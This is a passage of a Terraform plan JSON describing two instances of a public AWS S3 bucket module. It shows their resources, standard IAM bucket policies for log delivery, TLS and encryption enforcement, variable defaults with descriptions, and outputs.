"aws_s3_bucket_website_configuration", "name": "this", "provider_config_key": "s3-bucket-1:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.website" ] } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "s3-bucket-1:aws", "schema_version": 0 }, { "address": "data.aws_canonical_user_id.this", "mode": "data", "type": "aws_canonical_user_id", "name": "this", "provider_config_key": "s3-bucket-1:aws", "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl", "var.owner[\"id\"]", "var.owner" ] } }, { "address": "data.aws_iam_policy_document.access_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "access_log_delivery", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_access_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.combined", "mode": "data", "type": "aws_iam_policy_document", "name": "combined", "provider_config_key": "s3-bucket-1:aws", "expressions": { "source_policy_documents": { "references": [ "var.attach_elb_log_delivery_policy", "data.aws_iam_policy_document.elb_log_delivery[0].json", "data.aws_iam_policy_document.elb_log_delivery[0]", "data.aws_iam_policy_document.elb_log_delivery", "var.attach_lb_log_delivery_policy", "data.aws_iam_policy_document.lb_log_delivery[0].json", "data.aws_iam_policy_document.lb_log_delivery[0]", "data.aws_iam_policy_document.lb_log_delivery", "var.attach_access_log_delivery_policy", "data.aws_iam_policy_document.access_log_delivery[0].json", "data.aws_iam_policy_document.access_log_delivery[0]", "data.aws_iam_policy_document.access_log_delivery", "var.attach_require_latest_tls_policy", "data.aws_iam_policy_document.require_latest_tls[0].json", "data.aws_iam_policy_document.require_latest_tls[0]", "data.aws_iam_policy_document.require_latest_tls", "var.attach_deny_insecure_transport_policy", "data.aws_iam_policy_document.deny_insecure_transport[0].json", "data.aws_iam_policy_document.deny_insecure_transport[0]", "data.aws_iam_policy_document.deny_insecure_transport", "var.attach_deny_unencrypted_object_uploads", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]", "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "var.attach_deny_incorrect_kms_key_sse", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "var.attach_deny_incorrect_encryption_headers", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]", "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "var.attach_policy", "var.policy" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_encryption_headers", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm", "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default", "var.server_side_encryption_configuration.rule", "var.server_side_encryption_configuration" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectEncryptionHeaders" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_encryption_headers" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_kms_key_sse", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.allowed_kms_key_arn" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption-aws-kms-key-id" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectKmsKeySse" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_kms_key_sse" ] } }, { "address": "data.aws_iam_policy_document.deny_insecure_transport", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_insecure_transport", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "Bool" }, "values": { "constant_value": [ "false" ] }, "variable": { "constant_value": "aws:SecureTransport" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyInsecureTransport" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_insecure_transport_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_unencrypted_object_uploads", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "Null" }, "values": { "constant_value": [ true ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyUnencryptedObjectUploads" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_unencrypted_object_uploads" ] } }, { "address": "data.aws_iam_policy_document.elb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "elb_log_delivery", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logdelivery.elasticloadbalancing.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_elb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "mode": "data", "type": "aws_iam_policy_document", "name": "inventory_and_analytics_destination_policy", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "ArnLike" }, "values": { "references": [ "var.inventory_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.inventory_source_bucket_arn", "var.analytics_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.analytics_source_bucket_arn" ] }, "variable": { "constant_value": "aws:SourceArn" } }, { "test": { "constant_value": "StringEquals" }, "values": { "references": [ "var.inventory_self_source_destination", "data.aws_caller_identity.current.id", "data.aws_caller_identity.current", "var.inventory_source_account_id", "var.analytics_self_source_destination", "data.aws_caller_identity.current.id", "data.aws_caller_identity.current", "var.analytics_source_account_id" ] }, "variable": { "constant_value": "aws:SourceAccount" } }, { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "destinationInventoryAndAnalyticsPolicy" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy" ] } }, { "address": "data.aws_iam_policy_document.lb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "lb_log_delivery", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl", "s3:ListBucket" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_lb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.require_latest_tls", "mode": "data", "type": "aws_iam_policy_document", "name": "require_latest_tls", "provider_config_key": "s3-bucket-1:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "NumericLessThan" }, "values": { "constant_value": [ "1.2" ] }, "variable": { "constant_value": "s3:TlsVersion" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyOutdatedTLS" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_require_latest_tls_policy" ] } }, { "address": "data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_config_key": "s3-bucket-1:aws", "schema_version": 0 }, { "address": "data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_config_key": "s3-bucket-1:aws", "schema_version": 0 } ], "variables": { "acceleration_status": { "default": null, "description": "(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended." }, "access_log_delivery_policy_source_accounts": { "default": [], "description": "(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket." }, "access_log_delivery_policy_source_buckets": { "default": [], "description": "(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket." }, "acl": { "default": null, "description": "(Optional) The canned ACL to apply. Conflicts with `grant`" }, "allowed_kms_key_arn": { "default": null, "description": "The ARN of KMS key which should be allowed in PutObject" }, "analytics_configuration": { "default": {}, "description": "Map containing bucket analytics configuration." }, "analytics_self_source_destination": { "default": false, "description": "Whether or not the analytics source bucket is also the destination bucket." }, "analytics_source_account_id": { "default": null, "description": "The analytics source account id." }, "analytics_source_bucket_arn": { "default": null, "description": "The analytics source bucket ARN." }, "attach_access_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have S3 access log delivery policy attached" }, "attach_analytics_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket analytics destination policy attached." }, "attach_deny_incorrect_encryption_headers": { "default": false, "description": "Controls if S3 bucket should deny incorrect encryption headers policy attached." }, "attach_deny_incorrect_kms_key_sse": { "default": false, "description": "Controls if S3 bucket policy should deny usage of incorrect KMS key SSE." }, "attach_deny_insecure_transport_policy": { "default": false, "description": "Controls if S3 bucket should have deny non-SSL transport policy attached" }, "attach_deny_unencrypted_object_uploads": { "default": false, "description": "Controls if S3 bucket should deny unencrypted object uploads policy attached." }, "attach_elb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ELB log delivery policy attached" }, "attach_inventory_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket inventory destination policy attached." }, "attach_lb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ALB/NLB log delivery policy attached" }, "attach_policy": { "default": false, "description": "Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)" }, "attach_public_policy": { "default": true, "description": "Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)" }, "attach_require_latest_tls_policy": { "default": false, "description": "Controls if S3 bucket should require the latest version of TLS" }, "block_public_acls": { "default": true, "description": "Whether Amazon S3 should block public ACLs for this bucket." }, "block_public_policy": { "default": true, "description": "Whether Amazon S3 should block public bucket policies for this bucket." }, "bucket": { "default": null, "description": "(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name." }, "bucket_prefix": { "default": null, "description": "(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket." }, "control_object_ownership": { "default": false, "description": "Whether to manage S3 Bucket Ownership Controls on this bucket." }, "cors_rule": { "default": [], "description": "List of maps containing rules for Cross-Origin Resource Sharing." }, "create_bucket": { "default": true, "description": "Controls if S3 bucket should be created" }, "expected_bucket_owner": { "default": null, "description": "The account ID of the expected bucket owner" }, "force_destroy": { "default": false, "description": "(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable." }, "grant": { "default": [], "description": "An ACL policy grant. Conflicts with `acl`" }, "ignore_public_acls": { "default": true, "description": "Whether Amazon S3 should ignore public ACLs for this bucket." }, "intelligent_tiering": { "default": {}, "description": "Map containing intelligent tiering configuration." }, "inventory_configuration": { "default": {}, "description": "Map containing S3 inventory configuration." }, "inventory_self_source_destination": { "default": false, "description": "Whether or not the inventory source bucket is also the destination bucket." }, "inventory_source_account_id": { "default": null, "description": "The inventory source account id." }, "inventory_source_bucket_arn": { "default": null, "description": "The inventory source bucket ARN." }, "lifecycle_rule": { "default": [], "description": "List of maps containing configuration of object lifecycle management." }, "logging": { "default": {}, "description": "Map containing access bucket logging configuration." }, "metric_configuration": { "default": [], "description": "Map containing bucket metric configuration." }, "object_lock_configuration": { "default": {}, "description": "Map containing S3 object locking configuration." }, "object_lock_enabled": { "default": false, "description": "Whether S3 bucket should have an Object Lock configuration enabled." }, "object_ownership": { "default": "BucketOwnerEnforced", "description": "Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL." }, "owner": { "default": {}, "description": "Bucket owner's display name and ID. Conflicts with `acl`" }, "policy": { "default": null, "description": "(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide." }, "replication_configuration": { "default": {}, "description": "Map containing cross-region replication configuration." }, "request_payer": { "default": null, "description": "(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information." }, "restrict_public_buckets": { "default": true, "description": "Whether Amazon S3 should restrict public bucket policies for this bucket." }, "server_side_encryption_configuration": { "default": {}, "description": "Map containing server-side encryption configuration." }, "tags": { "default": {}, "description": "(Optional) A mapping of tags to assign to the bucket." }, "versioning": { "default": {}, "description": "Map containing versioning configuration." }, "website": { "default": {}, "description": "Map containing static web-site hosting or redirect configuration." } }, "address": "module.test.module.s3-bucket-1" }, "version_constraint": "4.0.1" }, "s3-bucket-2": { "source": "terraform-aws-modules/s3-bucket/aws", "module": { "outputs": { "s3_bucket_arn": { "expression": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The ARN of the bucket. Will be of format arn:aws:s3:::bucketname." }, "s3_bucket_bucket_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket domain name. Will be of format bucketname.s3.amazonaws.com." }, "s3_bucket_bucket_regional_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_regional_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL." }, "s3_bucket_hosted_zone_id": { "expression": { "references": [ "aws_s3_bucket.this[0].hosted_zone_id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The Route 53 Hosted Zone ID for this bucket's region." }, "s3_bucket_id": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The name of the bucket." }, "s3_bucket_lifecycle_configuration_rules": { "expression": { "references": [ "aws_s3_bucket_lifecycle_configuration.this[0].rule", "aws_s3_bucket_lifecycle_configuration.this[0]", "aws_s3_bucket_lifecycle_configuration.this" ] }, "description": "The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string." }, "s3_bucket_policy": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].policy", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this" ] }, "description": "The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string." }, "s3_bucket_region": { "expression": { "references": [ "aws_s3_bucket.this[0].region", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The AWS region this bucket resides in." }, "s3_bucket_website_domain": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_domain", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records." }, "s3_bucket_website_endpoint": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_endpoint", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The website endpoint, if the bucket is configured with a website. If not, this will be an empty string." } }, "resources": [ { "address": "aws_s3_bucket.this", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "var.bucket" ] }, "bucket_prefix": { "references": [ "var.bucket_prefix" ] }, "force_destroy": { "references": [ "var.force_destroy" ] }, "object_lock_enabled": { "references": [ "var.object_lock_enabled" ] }, "tags": { "references": [ "var.tags" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket" ] } }, { "address": "aws_s3_bucket_accelerate_configuration.this", "mode": "managed", "type": "aws_s3_bucket_accelerate_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "status": { "references": [ "var.acceleration_status" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.acceleration_status" ] } }, { "address": "aws_s3_bucket_acl.this", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "acl": { "references": [ "var.acl", "var.acl" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl" ] }, "depends_on": [ "aws_s3_bucket_ownership_controls.this" ] }, { "address": "aws_s3_bucket_analytics_configuration.this", "mode": "managed", "type": "aws_s3_bucket_analytics_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "var.analytics_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_cors_configuration.this", "mode": "managed", "type": "aws_s3_bucket_cors_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.cors_rules" ] } }, { "address": "aws_s3_bucket_intelligent_tiering_configuration.this", "mode": "managed", "type": "aws_s3_bucket_intelligent_tiering_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] }, "status": { "references": [ "each.value.status", "each.value", "each.value.status", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.intelligent_tiering", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_inventory.this", "mode": "managed", "type": "aws_s3_bucket_inventory", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "each.value.bucket", "each.value", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "destination": [ { "bucket": [ { "account_id": { "references": [ "each.value.destination.account_id", "each.value.destination", "each.value" ] }, "bucket_arn": { "references": [ "each.value.destination.bucket_arn", "each.value.destination", "each.value", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "format": { "references": [ "each.value.destination.format", "each.value.destination", "each.value" ] }, "prefix": { "references": [ "each.value.destination.prefix", "each.value.destination", "each.value" ] } } ] } ], "enabled": { "references": [ "each.value.enabled", "each.value" ] }, "included_object_versions": { "references": [ "each.value.included_object_versions", "each.value" ] }, "name": { "references": [ "each.key" ] }, "optional_fields": { "references": [ "each.value.optional_fields", "each.value" ] }, "schedule": [ { "frequency": { "references": [ "each.value.frequency", "each.value" ] } } ] }, "schema_version": 0, "for_each_expression": { "references": [ "var.inventory_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.lifecycle_rules" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_logging.this", "mode": "managed", "type": "aws_s3_bucket_logging", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "target_bucket": { "references": [ "var.logging[\"target_bucket\"]", "var.logging" ] }, "target_prefix": { "references": [ "var.logging[\"target_prefix\"]", "var.logging" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.logging" ] } }, { "address": "aws_s3_bucket_metric.this", "mode": "managed", "type": "aws_s3_bucket_metric", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.value.name", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.metric_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_object_lock_configuration.this", "mode": "managed", "type": "aws_s3_bucket_object_lock_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "rule": [ { "default_retention": [ { "days": { "references": [ "var.object_lock_configuration.rule.default_retention.days", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "mode": { "references": [ "var.object_lock_configuration.rule.default_retention.mode", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "years": { "references": [ "var.object_lock_configuration.rule.default_retention.years", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } } ] } ], "token": { "references": [ "var.object_lock_configuration.token", "var.object_lock_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.object_lock_enabled", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } }, { "address": "aws_s3_bucket_ownership_controls.this", "mode": "managed", "type": "aws_s3_bucket_ownership_controls", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "local.attach_policy", "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "rule": [ { "object_ownership": { "references": [ "var.object_ownership" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.control_object_ownership" ] }, "depends_on": [ "aws_s3_bucket_policy.this", "aws_s3_bucket_public_access_block.this", "aws_s3_bucket.this" ] }, { "address": "aws_s3_bucket_policy.this", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "policy": { "references": [ "data.aws_iam_policy_document.combined[0].json", "data.aws_iam_policy_document.combined[0]", "data.aws_iam_policy_document.combined" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] }, "depends_on": [ "aws_s3_bucket_public_access_block.this" ] }, { "address": "aws_s3_bucket_public_access_block.this", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "block_public_acls": { "references": [ "var.block_public_acls" ] }, "block_public_policy": { "references": [ "var.block_public_policy" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "ignore_public_acls": { "references": [ "var.ignore_public_acls" ] }, "restrict_public_buckets": { "references": [ "var.restrict_public_buckets" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_public_policy" ] } }, { "address": "aws_s3_bucket_replication_configuration.this", "mode": "managed", "type": "aws_s3_bucket_replication_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "role": { "references": [ "var.replication_configuration[\"role\"]", "var.replication_configuration" ] } }, "schema_version": 0, "count_expression": 